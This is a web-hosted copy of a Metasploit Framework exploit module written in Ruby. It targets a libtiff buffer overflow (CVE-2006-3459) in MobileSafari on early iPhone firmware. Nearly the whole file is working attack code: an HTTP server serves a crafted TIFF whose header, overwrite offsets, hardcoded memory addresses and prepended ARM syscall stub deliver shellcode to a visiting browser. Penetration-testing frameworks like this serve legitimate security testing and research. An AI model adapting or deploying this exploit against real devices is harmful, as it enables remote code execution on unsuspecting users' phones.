Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/apple_ios/browser/safari_libtiff.rb
32969 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
#
10
# This module acts as an HTTP server
11
#
12
include Msf::Exploit::Remote::HttpServer::HTML
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',
19
'Description' => %q{
20
This module exploits a buffer overflow in the version of
21
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
22
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
23
tools installed will need to use a special payload.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => ['hdm', 'kf'],
27
'References' => [
28
['CVE', '2006-3459'],
29
['OSVDB', '27723'],
30
['BID', '19283']
31
],
32
'Payload' => {
33
'Space' => 1800,
34
'BadChars' => '',
35
36
# Multi-threaded applications are not allowed to execve() on OS X
37
# This stub injects a vfork/exit in front of the payload
38
'Prepend' =>
39
[
40
0xe3a0c042, # vfork
41
0xef000080, # sc
42
0xe3500000, # cmp r0, #0
43
0x1a000001, # bne
44
0xe3a0c001, # exit(0)
45
0xef000080 # sc
46
].pack('V*')
47
},
48
'Arch' => ARCH_ARMLE,
49
'Targets' => [
50
[
51
'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
52
{
53
'Platform' => 'osx',
54
55
# Scratch space for our shellcode and stack
56
'Heap' => 0x00802000,
57
58
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
59
'Magic' => 0x300d562c
60
}
61
],
62
],
63
'DefaultTarget' => 0,
64
'DisclosureDate' => '2006-08-01',
65
'Notes' => {
66
'Stability' => [ CRASH_SERVICE_DOWN ],
67
'SideEffects' => [ IOC_IN_LOGS ],
68
'Reliability' => [ UNRELIABLE_SESSION ]
69
}
70
)
71
)
72
end
73
74
def on_request_uri(cli, _req)
75
# Re-generate the payload
76
return if (p = regenerate_payload(cli)).nil?
77
78
# Grab reference to the target
79
t = target
80
81
print_status('Sending exploit')
82
83
# Transmit the compressed response to the client
84
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
85
86
# Handle the payload
87
handler(cli)
88
end
89
90
def generate_tiff(_code, targ)
91
#
92
# This is a TIFF file, we have a huge range of evasion
93
# capabilities, but for now, we don't use them.
94
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
95
#
96
97
lolz = 2048
98
tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"
99
tiff << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
100
tiff << "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"
101
tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"
102
tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"
103
tiff << "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"
104
tiff << "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"
105
tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"
106
tiff << "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"
107
tiff << "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"
108
tiff << [lolz].pack('V')
109
tiff << "\x84\x00\x00\x00\x00\x00\x00\x00"
110
111
# Randomize the bajeezus out of our data
112
hehe = rand_text(lolz)
113
114
# Were going to candy mountain!
115
hehe[120, 4] = [targ['Magic']].pack('V')
116
117
# >> add r0, r4, #0x30
118
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack('V')
119
120
# Candy mountain, Charlie!
121
# >> mov r1, sp
122
123
# It will be an adventure!
124
# >> mov r2, r8
125
hehe[92, 4] = [ hehe.length ].pack('V')
126
127
# Its a magic leoplurodon!
128
# It has spoken!
129
# It has shown us the way!
130
# >> bl _memcpy
131
132
# Its just over this bridge, Charlie!
133
# This magical bridge!
134
# >> ldr r3, [r4, #32]
135
# >> ldrt r3, [pc], r3, lsr #30
136
# >> str r3, [r4, #32]
137
# >> ldr r3, [r4, #36]
138
# >> ldrt r3, [pc], r3, lsr #30
139
# >> str r3, [r4, #36]
140
# >> ldr r3, [r4, #40]
141
# >> ldrt r3, [pc], r3, lsr #30
142
# >> str r3, [r4, #40]
143
# >> ldr r3, [r4, #44]
144
# >> ldrt r3, [pc], r3, lsr #30
145
# >> str r3, [r4, #44]
146
147
# We made it to candy mountain!
148
# Go inside Charlie!
149
# sub sp, r7, #0x14
150
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack('V')
151
152
# Goodbye Charlie!
153
# ;; targ['Heap'] + 0x48 becomes the stack pointer
154
# >> ldmia sp!, {r8, r10}
155
156
# Hey, what the...!
157
# >> ldmia sp!, {r4, r5, r6, r7, pc}
158
159
# Return back to the copied heap data
160
hehe[192, 4] = [ targ['Heap'] + 196 ].pack('V')
161
162
# Insert our actual shellcode at heap location + 196
163
hehe[196, payload.encoded.length] = payload.encoded
164
165
tiff << hehe
166
end
167
end
168
169